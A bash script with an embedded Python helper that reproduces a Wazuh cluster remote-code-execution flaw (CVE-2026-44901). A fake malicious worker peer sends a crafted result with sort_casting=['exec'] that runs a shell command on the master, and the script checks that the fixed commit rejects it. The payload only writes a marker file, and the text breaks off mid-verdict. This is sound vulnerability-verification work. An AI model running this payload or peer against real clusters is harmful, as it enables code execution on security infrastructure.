#!/bin/bash
# Product-path reproduction for CVE-2026-44901 / GHSA-8c6v-7g3w-prrq.
#
# This script starts a minimally configured real Wazuh cluster master-side TCP
# listener using the original wazuh-manager cluster classes (MasterHandler,
# Handler, DistributedAPI).  A malicious worker peer connects over the original
# Fernet-encrypted Wazuh cluster frame format, completes the worker hello, accepts
# the master's dapi_fwd request, and returns a crafted serialized
# AffectedItemsWazuhResult through the original new_str/str_upd/dapi_res flow.
# The vulnerable parent of the fix executes an attacker-controlled shell command
# through sort_casting=["exec"] during dapi.py result merging; the fixed commit
# rejects that casting value before execution.
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

MANIFEST_WRITTEN=0
write_minimal_manifest() {
    local note="${1:-attempt did not reach final manifest writer}"
    python3 - "$REPRO_DIR/runtime_manifest.json" "$note" <<'PY'
import json, sys
path, note = sys.argv[1], sys.argv[2]
with open(path, "w", encoding="utf-8") as f:
    json.dump({
        "entrypoint_kind": "tcp_peer",
        "entrypoint_detail": "Wazuh cluster TCP/Fernet DAPI worker response path",
        "service_started": False,
        "healthcheck_passed": False,
        "target_path_reached": False,
        "runtime_stack": [],
        "proof_artifacts": [],
        "artifact_sha256": {},
        "notes": note,
    }, f, indent=2)
PY
}
trap 'rc=$?; if [ "$MANIFEST_WRITTEN" -eq 0 ]; then write_minimal_manifest "script exited before final evidence manifest (rc=$rc)"; fi' EXIT

echo "[*] CVE-2026-44901 Wazuh product-path reproduction starting at $(date -u +%FT%TZ)"

REPO_URL="https://github.com/wazuh/wazuh.git"
FIXED_COMMIT="b29849f8abb08d78f257e6106b6111a8a1b0e621"
CACHE_CTX="$ROOT/project_cache_context.json"
CACHE_DIR=""
CACHE_MANIFEST=""
CACHE_MANIFEST_SCHEMA="1"
if [ -f "$CACHE_CTX" ]; then
    CACHE_DIR="$(jq -r 'select(.prepared == true) | .project_cache_dir // empty' "$CACHE_CTX" 2>/dev/null || true)"
    CACHE_MANIFEST="$(jq -r '.cache_manifest_path // empty' "$CACHE_CTX" 2>/dev/null || true)"
    CACHE_MANIFEST_SCHEMA="$(jq -r '.cache_manifest_schema_version // 1' "$CACHE_CTX" 2>/dev/null || echo 1)"
fi
if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR" ] && [ -w "$CACHE_DIR" ]; then
    REPO="$CACHE_DIR/repo"
else
    REPO="$ROOT/artifacts/wazuh-repo"
fi
echo "[*] Repository path selected: $REPO"

if [ ! -d "$REPO/.git" ]; then
    mkdir -p "$(dirname "$REPO")"
    if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/repo-mirrors/wazuh.git" ]; then
        echo "[*] Cloning from prepared mirror $CACHE_DIR/repo-mirrors/wazuh.git"
        git clone --quiet --no-checkout "$CACHE_DIR/repo-mirrors/wazuh.git" "$REPO"
        git -C "$REPO" remote set-url origin "$REPO_URL"
        git -C "$REPO" config remote.origin.promisor true || true
        git -C "$REPO" config remote.origin.partialclonefilter blob:none || true
    else
        echo "[*] Cloning $REPO_URL"
        git clone --quiet --no-checkout --filter=blob:none "$REPO_URL" "$REPO"
    fi
fi

# Ensure the fixed commit object is available.  The prepared cache normally has
# it already; this fetch is a fallback for a fresh clean sandbox.
if ! git -C "$REPO" cat-file -e "$FIXED_COMMIT^{commit}" 2>/dev/null; then
    echo "[*] Fetching fixed commit $FIXED_COMMIT"
    git -C "$REPO" fetch --quiet origin "$FIXED_COMMIT"
fi
VULN_COMMIT="$(git -C "$REPO" rev-parse "$FIXED_COMMIT^")"
FIXED_RESOLVED="$(git -C "$REPO" rev-parse "$FIXED_COMMIT")"
echo "[*] Vulnerable checkout: $VULN_COMMIT (fixed commit parent)"
echo "[*] Fixed checkout:      $FIXED_RESOLVED"

PATCH_LOG="$LOGS/product_patch_check.log"
: > "$PATCH_LOG"
{
    echo "repo_url=$REPO_URL"
    echo "vulnerable_commit=$VULN_COMMIT"
    echo "fixed_commit=$FIXED_RESOLVED"
    echo "--- vulnerable sink line ---"
    git -C "$REPO" grep -n 'getattr(builtins, type_)' "$VULN_COMMIT" -- framework/wazuh/core/results.py
    echo "--- fixed allowlist lines ---"
    git -C "$REPO" grep -n 'ALLOWED_TYPES\|ALLOWED_CASTERS' "$FIXED_RESOLVED" -- framework/wazuh/core/results.py
} | tee -a "$PATCH_LOG"
if git -C "$REPO" grep -q 'ALLOWED_TYPES' "$VULN_COMMIT" -- framework/wazuh/core/results.py; then
    echo "[-] Vulnerable checkout unexpectedly contains sort_casting allowlist"; exit 2
fi
if ! git -C "$REPO" grep -q 'ALLOWED_TYPES' "$FIXED_RESOLVED" -- framework/wazuh/core/results.py; then
    echo "[-] Fixed checkout does not contain sort_casting allowlist"; exit 2
fi

echo "[+] Patch absence/presence verified"

WT_ROOT="$REPRO_DIR/worktrees"
WT_VULN="$WT_ROOT/vuln"
WT_FIXED="$WT_ROOT/fixed"
mkdir -p "$WT_ROOT"
git -C "$REPO" worktree prune || true
ensure_worktree() {
    local name="$1" dir="$2" sha="$3"
    local head=""
    head="$(git -C "$dir" rev-parse HEAD 2>/dev/null || true)"
    if [ ! -f "$dir/framework/wazuh/core/results.py" ] || [ "$head" != "$sha" ]; then
        echo "[*] Creating $name worktree at $sha"
        git -C "$REPO" worktree remove --force "$dir" >/dev/null 2>&1 || rm -rf "$dir"
        git -C "$REPO" worktree add --detach --force "$dir" "$sha" >/dev/null
    else
        echo "[*] Reusing $name worktree at $sha"
    fi
    head="$(git -C "$dir" rev-parse HEAD)"
    [ "$head" = "$sha" ] || { echo "[-] $name worktree HEAD mismatch: $head != $sha"; exit 2; }
}
ensure_worktree "vulnerable" "$WT_VULN" "$VULN_COMMIT"
ensure_worktree "fixed" "$WT_FIXED" "$FIXED_RESOLVED"

# Python environment.  It is script-owned and survives the second verification
# run; if import checks fail it is rebuilt deterministically in place.
VENV="$REPRO_DIR/venv"
PY="$VENV/bin/python"
need_venv=0
if [ ! -x "$PY" ]; then
    need_venv=1
else
    if ! "$PY" - <<'PY' >/dev/null 2>&1
import cryptography, uvloop, sqlalchemy, yaml, connexion, httpx, certifi, jsonschema, psutil
PY
    then
        need_venv=1
    fi
fi
if [ "$need_venv" -eq 1 ]; then
    echo "[*] Creating Python venv and installing Wazuh framework dependencies"
    rm -rf "$VENV"
    if ! python3 -m venv "$VENV"; then
        echo "[*] python3 venv module missing; attempting package installation"
        sudo apt-get update
        sudo apt-get install -y python3-venv
        python3 -m venv "$VENV"
    fi
    "$PY" -m pip install --quiet --upgrade pip
    "$PY" -m pip install --quiet cryptography uvloop sqlalchemy python-dateutil requests defusedxml cachetools pyyaml connexion httpx certifi jsonschema psutil
fi
"$PY" --version

# The malicious JSON bytes are stable across attempts.  The command marker path
# and value are taken from environment variables in the master process, so the
# same attacker-controlled worker response can be replayed against every fresh
# vulnerable/fixed process.
EVIL_JSON="$REPRO_DIR/evil_worker_response.json"
"$PY" - "$EVIL_JSON" <<'PY'
import json, sys
payload_code = (
    "import os,shlex;"
    "os.system('printf %s '+shlex.quote(os.environ['PRUVA_MARKER_VALUE'])+"
    "' > '+shlex.quote(os.environ['PRUVA_MARKER']))"
)
payload = {
    "__wazuh_result__": {
        "__class__": "AffectedItemsWazuhResult",
        "__object__": {
            "affected_items": [{"x": payload_code, "node": "worker01"}],
            "sort_fields": ["x"],
            "sort_casting": ["exec"],
            "sort_ascending": [True],
            "total_affected_items": 1,
            "total_failed_items": 0,
            "dikt": {},
            "all_msg": "All selected nodes returned their information",
            "some_msg": "Some nodes did not return their information",
            "none_msg": "No node returned information",
            "failed_items_keys": [],
            "failed_items_values": []
        }
    }
}
with open(sys.argv[1], "w", encoding="utf-8") as f:
    json.dump(payload, f, separators=(",", ":"))
PY
echo "[*] Malicious worker response JSON: $EVIL_JSON (sha256=$(sha256sum "$EVIL_JSON" | cut -d' ' -f1))"

# Runtime helper generated by this script to keep the public reproducer closure
# self-contained: no external helper file is required to execute the product path.
PRODUCT_HELPER="$REPRO_DIR/product_cluster_repro.py"
cat > "$PRODUCT_HELPER" <<'PY'
#!/usr/bin/env python3
import argparse
import asyncio
import contextlib
import hashlib
import json
import logging
import os
import socket
import struct
import sys
import time
import traceback
from pathlib import Path

REQUIRED_DAEMONS = ["wazuh-modulesd", "wazuh-analysisd", "wazuh-execd", "wazuh-db", "wazuh-remoted"]
CLUSTER_KEY = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
CLUSTER_NAME = "wazuh"
MASTER_NAME = "master01"
WORKER_NAME = "worker01"


def choose_port(preferred: int):
    """Reserve-test a loopback port, returning (port, fallback_used)."""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind(("127.0.0.1", preferred))
        port = s.getsockname()[1]
        return port, False
    except OSError:
        s.close()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("127.0.0.1", 0))
        port = s.getsockname()[1]
        return port, True
    finally:
        with contextlib.suppress(Exception):
            s.close()


class AttemptLogger:
    def __init__(self, path: str):
        self.path = path
        self.fp = open(path, "w", encoding="utf-8")

    def line(self, msg: str):
        text = f"{time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())} {msg}"
        print(text, flush=True)
        self.fp.write(text + "\n")
        self.fp.flush()

    def close(self):
        self.fp.flush()
        self.fp.close()


def prepare_wazuh_runtime(repo: str, port: int, log: AttemptLogger):
    """Create the minimal runtime files that real Wazuh cluster code expects."""
    for rel in [
        "queue/cluster", "queue/db", "queue/sockets", "queue/alerts", "queue/tasks",
        "var/run", "var/db", "etc", "etc/shared", "logs", "tmp", "stats", "backup", "var/multigroups"
    ]:
        os.makedirs(os.path.join(repo, rel), exist_ok=True)

    # Remove stale cluster socket/string state from previous attempts without
    # deleting any tracked source tree directories.
    for stale in ["queue/cluster/c-internal.sock", f"queue/cluster/{WORKER_NAME}"]:
        path = os.path.join(repo, stale)
        if os.path.isdir(path):
            import shutil
            shutil.rmtree(path, ignore_errors=True)
        elif os.path.exists(path):
            os.unlink(path)
    run_dir = os.path.join(repo, "var", "run")
    for name in os.listdir(run_dir):
        if name.startswith("wazuh-") and name.endswith(".pid"):
            with contextlib.suppress(Exception):
                os.unlink(os.path.join(run_dir, name))

    ossec_conf = os.path.join(repo, "etc", "ossec.conf")
    with open(ossec_conf, "w", encoding="utf-8") as f:
        f.write(f"""<ossec_config>
  <cluster>
    <name>{CLUSTER_NAME}</name>
    <node_name>{MASTER_NAME}</node_name>
    <node_type>master</node_type>
    <key>{CLUSTER_KEY}</key>
    <port>{port}</port>
    <bind_addr>127.0.0.1</bind_addr>
    <nodes><node>127.0.0.1</node></nodes>
    <disabled>no</disabled>
  </cluster>
</ossec_config>
""")
    # Use Wazuh's real get_manager_status() pidfile/proc check: the minimal
    # cluster master process marks required product daemons as running with
    # pidfiles pointing to this live process.
    for proc in REQUIRED_DAEMONS:
        Path(os.path.join(run_dir, f"{proc}-{os.getpid()}.pid")).touch()
    log.line(f"RUNTIME_CONFIG ossec_conf={ossec_conf} cluster_port={port} daemon_pidfiles={','.join(REQUIRED_DAEMONS)}")


async def run_attempt(args, log: AttemptLogger) -> int:
    observation = {
        "schema_version": 1,
        "role": args.role,
        "attempt": args.attempt,
        "commit_sha": args.commit,
        "process_instance": f"{args.role}-{args.attempt}-{os.getpid()}",
        "expected": args.expect,
        "requested_port": args.port,
        "actual_port": None,
        "port_fallback_used": False,
        "fernet_enabled": False,
        "master_listened": False,
        "worker_hello_accepted": False,
        "dapi_forward_request_received_by_worker": False,
        "worker_response_delivered_via_send_string": False,
        "dapi_response_acknowledged": False,
        "dapi_json_object_hook_path_reached": False,
        "sort_casting_rejected": False,
        "marker": args.marker_value,
        "marker_path": args.marker,
        "marker_present": False,
        "marker_content": None,
        "result_type": None,
        "result_repr": None,
        "expected_behavior_observed": False,
        "source_modules": {},
    }

    chosen_port, fallback_used = choose_port(args.port)
    observation["actual_port"] = chosen_port
    observation["port_fallback_used"] = fallback_used
    prepare_wazuh_runtime(args.repo, chosen_port, log)

    sys.path.insert(0, os.path.join(args.repo, "framework"))
    sys.path.insert(0, os.path.join(args.repo, "api"))

    import wazuh.core.common as common
    common._WAZUH_UID = os.getuid()
    common._WAZUH_GID = os.getgid()

    import wazuh.core.cluster.utils as cluster_utils
    from wazuh.core.cluster import common as c_common
    from wazuh.core.cluster import master
    from wazuh.core.cluster.dapi import dapi
    from wazuh.core import exception
    import wazuh.core.results as wresults
    import wazuh.cluster as public_cluster
    from wazuh.core.cluster import __version__ as wazuh_cluster_version

    observation["source_modules"] = {
        "master_py": master.__file__,
        "common_py": c_common.__file__,
        "dapi_py": dapi.__file__,
        "results_py": wresults.__file__,
    }
    log.line("SOURCE_MODULES " + json.dumps(observation["source_modules"], sort_keys=True))
    log.line(f"PRODUCT_CLASSES master_handler={master.MasterHandler.__module__}.{master.MasterHandler.__name__} handler={c_common.Handler.__module__}.{c_common.Handler.__name__} distributed_api={dapi.DistributedAPI.__module__}.{dapi.DistributedAPI.__name__}")

    cluster_items = cluster_utils.get_cluster_items()
    # Keep all network waits bounded for deterministic reproduction.
    cluster_items["intervals"]["communication"]["timeout_cluster_request"] = 5
    cluster_items["intervals"]["communication"]["timeout_dapi_request"] = 5
    cluster_items["intervals"]["master"]["check_worker_lastkeepalive"] = 60
    cluster_items["intervals"]["master"]["max_allowed_time_without_keepalive"] = 120
    cluster_items["intervals"]["master"]["process_pool_size"] = 1
    cluster_items["intervals"]["master"]["agent_group_start_delay"] = 3600

    config = {
        "disabled": False,
        "node_type": "master",
        "name": CLUSTER_NAME,
        "node_name": MASTER_NAME,
        "key": CLUSTER_KEY,
        "port": chosen_port,
        "bind_addr": "127.0.0.1",
        "nodes": ["127.0.0.1"],
        "hidden": "no",
    }

    logging.basicConfig(level=logging.DEBUG, stream=log.fp, format="%(levelname)s:%(name)s:%(message)s")

    class MiniMaster(master.Master):
        async def check_clients_keepalive(self):
            await asyncio.sleep(3600)

        async def agent_groups_update(self):
            await asyncio.sleep(3600)

        async def file_status_update(self):
            await asyncio.sleep(3600)

    with open(args.evil_json, "rb") as f:
        malicious_response = f.read()
    log.line(f"MALICIOUS_RESPONSE path={args.evil_json} bytes={len(malicious_response)} sha256={hashlib.sha256(malicious_response).hexdigest()}")

    async def malicious_worker_peer():
        reader, writer = await asyncio.open_connection("127.0.0.1", chosen_port)

        class DummyTransport:
            def __init__(self, writer_):
                self.writer = writer_
            def write(self, data):
                self.writer.write(data)
            def close(self):
                self.writer.close()

        handler = c_common.Handler(fernet_key=CLUSTER_KEY, cluster_items=cluster_items,
                                   logger=logging.getLogger("malicious-worker"), tag="malicious-worker")
        observation["fernet_enabled"] = handler.my_fernet is not None
        handler.transport = DummyTransport(writer)
        pending = []

        def feed(data: bytes):
            handler.in_buffer += data
            for command, counter, payload, flag in handler.get_messages():
                pending.append((command, counter, payload, flag))
                log.line(f"WORKER_RX_FRAME command={command!r} counter={counter} plaintext_len={len(payload)} payload_head={payload[:180]!r}")

        async def recv_match(predicate, description: str, timeout: int = 10):
            deadline = time.monotonic() + timeout
            while True:
                for i, item in enumerate(list(pending)):
                    if predicate(item):
                        pending.pop(i)
                        return item
                remaining = deadline - time.monotonic()
                if remaining <= 0:
                    raise TimeoutError(f"timeout waiting for {description}")
                data = await asyncio.wait_for(reader.read(65536), timeout=remaining)
                if not data:
                    raise EOFError(f"EOF waiting for {description}")
                feed(data)

        def send_frame(command: bytes, data: bytes, counter=None):
            if counter is None:
                counter = handler.next_counter()
            frames = handler.msg_build(command, counter, data)
            for frame in frames:
                hdr_counter, hdr_size, hdr_cmd = struct.unpack(handler.header_format, frame[:handler.header_len])
                log.line(f"WORKER_TX_FRAME command={command!r} counter={hdr_counter} plaintext_len={len(data)} encrypted_payload_len={hdr_size} frame_sha256={hashlib.sha256(frame).hexdigest()} header_cmd={hdr_cmd!r}")
                writer.write(frame)
            return counter

        # Original Wazuh cluster worker handshake over the encrypted cluster frame.
        send_frame(b"hello", f"{WORKER_NAME} {CLUSTER_NAME} worker {wazuh_cluster_version}".encode())
        await writer.drain()
        cmd, _counter, payload, _flag = await recv_match(lambda m: m[0] == b"ok" and b"Client" in m[2], "hello response")
        observation["worker_hello_accepted"] = True
        log.line(f"WORKER_HELLO_ACCEPTED response={payload!r}")

        # The master now forwards the DAPI request to this worker through the
        # original MasterHandler.execute(... b'dapi_fwd' ...) path, which sends
        # command b'dapi' over the same encrypted TCP channel.
        cmd, counter, payload, _flag = await recv_match(lambda m: m[0] == b"dapi", "forwarded dapi request")
        request_id, request_json = payload.split(b" ", 1)
        observation["dapi_forward_request_received_by_worker"] = True
        log.line(f"WORKER_GOT_DAPI_REQUEST request_id={request_id.decode()} json_len={len(request_json)} json_sha256={hashlib.sha256(request_json).hexdigest()} json_head={request_json[:220]!r}")

        # A compromised worker acknowledges receipt but returns attacker-selected
        # serialized result bytes instead of a legitimate local execution result.
        send_frame(b"ok", b"Added request to API requests queue", counter=counter)
        await writer.drain()

        # Original Wazuh send_string protocol: reserve a remote string buffer,
        # fill it with the malicious JSON, then notify dapi_res with the request id.
        new_counter = send_frame(b"new_str", str(len(malicious_response)).encode())
        await writer.drain()
        cmd, _counter, string_id, _flag = await recv_match(lambda m: m[1] == new_counter and m[0] == b"ok", "new_str response")
        log.line(f"WORKER_SEND_STRING_RESERVED string_id={string_id!r} response_bytes={len(malicious_response)}")

        upd_counter = send_frame(b"str_upd", string_id + b" " + malicious_response)
        await writer.drain()
        await recv_match(lambda m: m[1] == upd_counter and m[0] == b"ok", "str_upd ack")
        observation["worker_response_delivered_via_send_string"] = True
        log.line("WORKER_SEND_STRING_UPDATED malicious JSON stored in master MasterHandler.in_str")

        res_counter = send_frame(b"dapi_res", request_id + b" " + string_id)
        await writer.drain()
        await recv_match(lambda m: m[1] == res_counter and m[0] == b"ok", "dapi_res ack")
        observation["dapi_response_acknowledged"] = True
        log.line("WORKER_DAPI_RES_ACKNOWLEDGED master accepted dapi_res and released pending DistributedAPI request")
        writer.close()
        with contextlib.suppress(Exception):
            await writer.wait_closed()

    os.environ["PRUVA_MARKER"] = args.marker
    os.environ["PRUVA_MARKER_VALUE"] = args.marker_value
    Path(args.marker).unlink(missing_ok=True)

    loop = asyncio.get_running_loop()
    mini_master = MiniMaster(performance_test=0, concurrency_test=0, configuration=config,
                             cluster_items=cluster_items, logger=logging.getLogger("wazuh"))
    mini_master.task_pool = None
    # Run the real TCP server and DAPI queue; omit periodic file/db sync loops so
    # the proof is bounded while preserving the cluster request/response path.
    mini_master.tasks = [mini_master.check_clients_keepalive, mini_master.dapi.run]

    server = None
    dapi_task = None
    peer_task = None
    result_obj = None
    rc = 2
    try:
        server = await loop.create_server(
            protocol_factory=lambda: mini_master.handler_class(server=mini_master, loop=loop,
                                                               logger=logging.getLogger("wazuh"),
                                                               fernet_key=CLUSTER_KEY,
                                                               cluster_items=cluster_items),
            host="127.0.0.1", port=chosen_port, reuse_address=True)
        observation["master_listened"] = True
        sock = server.sockets[0].getsockname()
        log.line(f"MASTER_LISTENING original_wazuh_cluster_tcp={sock[0]}:{sock[1]} requested_port={args.port} fallback_used={fallback_used} fernet_key_len={len(CLUSTER_KEY)}")
        dapi_task = asyncio.create_task(mini_master.dapi.run())
        peer_task = asyncio.create_task(malicious_worker_peer())

        for _ in range(100):
            if WORKER_NAME in mini_master.clients:
                break
            await asyncio.sleep(0.05)
        log.line(f"MASTER_CONNECTED_WORKERS={list(mini_master.clients.keys())}")
        if WORKER_NAME not in mini_master.clients:
            raise RuntimeError("malicious worker did not complete Wazuh hello")

        worker_handler = mini_master.clients[WORKER_NAME]
        request = dapi.DistributedAPI(
            f=public_cluster.get_node_wrapper,
            logger=logging.getLogger("wazuh.dapi"),
            f_kwargs={"node_list": [WORKER_NAME, MASTER_NAME]},
            node=worker_handler,
            request_type="distributed_master",
            nodes=[WORKER_NAME, MASTER_NAME],
            rbac_permissions={"rbac_mode": "black"},
            current_user="pruva-repro",
            api_timeout=5,
        )
        log.line("MASTER_CALL_DAPI DistributedAPI.distribute_function request_type=distributed_master node_list=worker01,master01")
        result_obj = await request.distribute_function()
        observation["result_type"] = type(result_obj).__name__
        observation["result_repr"] = repr(result_obj)
        text = repr(result_obj)
        if isinstance(result_obj, wresults.AbstractWazuhResult):
            observation["dapi_json_object_hook_path_reached"] = True
        if isinstance(result_obj, exception.WazuhInternalError) and "Invalid sort_casting type 'exec'" in text:
            observation["dapi_json_object_hook_path_reached"] = True
            observation["sort_casting_rejected"] = True
        log.line(f"MASTER_DAPI_RESULT type={type(result_obj).__name__} repr={text[:1200]}")

        if peer_task is not None:
            await peer_task

        marker_present = os.path.exists(args.marker)
        observation["marker_present"] = marker_present
        if marker_present:
            with open(args.marker, "r", encoding="utf-8") as f:
                observation["marker_content"] = f.read().strip()
        log.line(f"MARKER_CHECK path={args.marker} present={marker_present} content={observation['marker_content']!r}")

        if args.expect == "vulnerable":
            observation["expected_behavior_observed"] = (
                marker_present and observation["marker_content"] == args.marker_value and
                isinstance(result_obj, wresults.AbstractWazuhResult)
            )
        else:
            observation["expected_behavior_observed"] = (
                (not marker_present) and observation["sort_casting_rejected"]
            )
        rc = 0 if observation["expected_behavior_observed"] else 1
    except Exception as exc:
        observation["result_type"] = type(exc).__name__
        observation["result_repr"] = repr(exc)
        log.line(f"ATTEMPT_EXCEPTION type={type(exc).__name__} repr={repr(exc)}")
        traceback.print_exc(file=log.fp)
        rc = 2
    finally:
        if peer_task is not None and not peer_task.done():
            peer_task.cancel()
            with contextlib.suppress(Exception):
                await peer_task
        if server is not None:
            server.close()
            with contextlib.suppress(Exception):
                await server.wait_closed()
        if dapi_task is not None:
            dapi_task.cancel()
        with contextlib.suppress(Exception):
            if getattr(mini_master, "task_pool", None):
                mini_master.task_pool.shutdown(wait=False, cancel_futures=True)
        with open(args.observation_json, "w", encoding="utf-8") as f:
            json.dump(observation, f, indent=2, sort_keys=True)
        log.line(f"OBSERVATION_JSON path={args.observation_json} expected_behavior_observed={observation['expected_behavior_observed']} rc={rc}")
    return rc


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--repo", required=True)
    ap.add_argument("--commit", required=True)
    ap.add_argument("--role", required=True, choices=["vuln", "fixed"])
    ap.add_argument("--attempt", required=True, type=int)
    ap.add_argument("--expect", required=True, choices=["vulnerable", "fixed"])
    ap.add_argument("--evil-json", required=True)
    ap.add_argument("--marker", required=True)
    ap.add_argument("--marker-value", required=True)
    ap.add_argument("--log", required=True)
    ap.add_argument("--observation-json", required=True)
    ap.add_argument("--port", type=int, default=1516)
    args = ap.parse_args()
    log = AttemptLogger(args.log)
    try:
        log.line(f"ATTEMPT_START role={args.role} attempt={args.attempt} expect={args.expect} repo={args.repo} commit={args.commit}")
        rc = asyncio.run(run_attempt(args, log))
        log.line(f"ATTEMPT_END role={args.role} attempt={args.attempt} rc={rc}")
        return rc
    finally:
        log.close()


if __name__ == "__main__":
    raise SystemExit(main())
PY
chmod +x "$PRODUCT_HELPER"

MARKERS="$REPRO_DIR/markers"
OBS_DIR="$REPRO_DIR/observations"
rm -rf "$MARKERS" "$OBS_DIR"
mkdir -p "$MARKERS" "$OBS_DIR"
rm -f "$LOGS"/product_vuln_*.log "$LOGS"/product_fixed_*.log

run_attempt() {
    local role="$1" attempt="$2" expect="$3" wt="$4" commit="$5"
    local marker marker_value attempt_log observation rc
    marker="$MARKERS/product_marker_${role}_${attempt}.txt"
    marker_value="CVE-2026-44901-${role}-${attempt}-$($PY - <<'PY'
import uuid
print(uuid.uuid4().hex)
PY
)"
    attempt_log="$LOGS/product_${role}_${attempt}.log"
    observation="$OBS_DIR/product_${role}_${attempt}.json"
    rm -f "$marker" "$attempt_log" "$observation"
    echo "[*] Running $role attempt $attempt through real Wazuh MasterHandler TCP/Fernet DAPI path"
    set +e
    timeout 180 "$PY" "$PRODUCT_HELPER" \
        --repo "$wt" \
        --commit "$commit" \
        --role "$role" \
        --attempt "$attempt" \
        --expect "$expect" \
        --evil-json "$EVIL_JSON" \
        --marker "$marker" \
        --marker-value "$marker_value" \
        --log "$attempt_log" \
        --observation-json "$observation" \
        --port 1516
    rc=$?
    set -e
    echo "[*] Attempt $role#$attempt helper_rc=$rc log=$attempt_log observation=$observation"
    if [ -f "$observation" ]; then jq . "$observation"; fi
    if [ "$expect" = "vulnerable" ]; then
        if [ "$rc" -eq 0 ] && [ -f "$marker" ] && [ "$(cat "$marker")" = "$marker_value" ]; then
            echo "[+] VULNERABLE attempt $attempt: command marker created on master via exec() sort_casting"
            return 0
        fi
        echo "[-] VULNERABLE attempt $attempt failed: marker missing or mismatched"
        return 1
    else
        if [ "$rc" -eq 0 ] && [ ! -f "$marker" ] && grep -q "Invalid sort_casting type 'exec'" "$attempt_log"; then
            echo "[+] FIXED attempt $attempt: same worker response rejected; no marker"
            return 0
        fi
        echo "[-] FIXED attempt $attempt failed: expected rejection/no marker not observed"
        return 1
    fi
}

VULN_OK=0
FIXED_OK=0
for n in 1 2; do
    if run_attempt "vuln" "$n" "vulnerable" "$WT_VULN" "$VULN_COMMIT"; then
        VULN_OK=$((VULN_OK + 1))
    fi
done
for n in 1 2; do
    if run_attempt "fixed" "$n" "fixed" "$WT_FIXED" "$FIXED_RESOLVED"; then
        FIXED_OK=$((FIXED_OK + 1))
    fi
done

VULN_CONFIRMED=false
FIXED_BLOCKED=false
TARGET_REACHED=false
if [ "$VULN_OK" -eq 2 ]; then VULN_CONFIRMED=true; TARGET_REACHED=true; fi
if [ "$FIXED_OK" -eq 2 ]; then FIXED_BLOCKED=true; fi

echo "[*] Attempt summary: vulnerable_ok=$VULN_OK/2 fixed_ok=$FIXED_OK/2"

# Final runtime manifest and structured verdict.  Proof artifacts are finalized
# before this point and are not appended afterward.
"$PY" - "$ROOT" "$REPRO_DIR/runtime_manifest.json" "$REPRO_DIR/validation_verdict.json" \
    "$REPO_URL" "$VULN_COMMIT" "$FIXED_RESOLVED" "$VULN_CONFIRMED" "$FIXED_BLOCKED" "$VULN_OK" "$FIXED_OK" <<'PY'
import hashlib, json, os, platform, sys
root, manifest_path, verdict_path, repo_url, vuln_commit, fixed_commit, vuln_confirmed_s, fixed_blocked_s, vuln_ok_s, fixed_ok_s = sys.argv[1:]
vuln_confirmed = vuln_confirmed_s == "true"
fixed_blocked = fixed_blocked_s == "true"
vuln_ok = int(vuln_ok_s)
fixed_ok = int(fixed_ok_s)
proof_candidates = [
    "logs/product_patch_check.log",
    "logs/product_vuln_1.log",
    "logs/product_vuln_2.log",
    "logs/product_fixed_1.log",
    "logs/product_fixed_2.log",
    "repro/evil_worker_response.json",
    "repro/observations/product_vuln_1.json",
    "repro/observations/product_vuln_2.json",
    "repro/observations/product_fixed_1.json",
    "repro/observations/product_fixed_2.json",
    "repro/markers/product_marker_vuln_1.txt",
    "repro/markers/product_marker_vuln_2.txt",
]
proof_artifacts = [p for p in proof_candidates if os.path.exists(os.path.join(root, p))]
artifact_sha256 = {}
for rel in proof_artifacts:
    with open(os.path.join(root, rel), "rb") as f:
        artifact_sha256[rel] = hashlib.sha256(f.read()).hexdigest()
target_digest = hashlib.sha256(f"git:{repo_url}@{vuln_commit}".encode()).hexdigest()
fixed_target_digest = hashlib.sha256(f"git:{repo_url}@{fixed_commit}".encode()).hexdigest()
manifest = {
    "entrypoint_kind": "tcp_peer",
    "entrypoint_detail": "Real Wazuh MasterHandler cluster TCP listener (default TCP/1516 when available) accepts a Fernet-encrypted malicious worker peer; master DistributedAPI.forward_request sends b'dapi'; worker returns crafted AffectedItemsWazuhResult through original new_str/str_upd/dapi_res; dapi.py json.loads(..., object_hook=as_wazuh_object) and reduce(or_, response) reach results.py sort_casting merge.",
    "service_started": vuln_confirmed or fixed_blocked,
    "healthcheck_passed": vuln_confirmed or fixed_blocked,
    "target_path_reached": vuln_confirmed,
    "runtime_stack": [
        "wazuh-manager cluster MasterHandler TCP server",
        "wazuh.core.cluster.common.Handler Fernet frame protocol",
        "wazuh.core.cluster.dapi.DistributedAPI.forward_request",
        "wazuh.core.results.AffectedItemsWazuhResult.merge",
        "python3"
    ],
    "target_identity": {
        "repository_url": repo_url,
        "commit_sha": vuln_commit,
        "fixed_commit_sha": fixed_commit,
        "target_digest": target_digest,
        "fixed_target_digest": fixed_target_digest,
        "platform": "linux",
        "architecture": platform.machine() or "x86_64"
    },
    "proof_artifacts": proof_artifacts,
    "artifact_sha256": artifact_sha256,
    "notes": f"vulnerable attempts {vuln_ok}/2 wrote unique command markers through the Wazuh TCP/Fernet DAPI path; fixed attempts {fixed_ok}/2 rejected sort_casting='exec' before marker creation"
}
with open(manifest_path, "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2)

if vuln_confirmed and fixed_blocked:
    verdict = {
        "claim_outcome": "confirmed",
        "claim_block_reason": None,
        "repro_result": "confirmed",
        "validated_surface": "network_protocol",
        "evidence_scope": "production_path",
        "claimed_impact_class": "code_execution",
        "observed_impact_class": "code_execution",
        "exploitability_confidence": "high",
        "attacker_controlled_input": "Fernet-framed malicious Wazuh worker dapi_res JSON with sort_casting=[\"exec\"] and payload in affected_items[*].x",
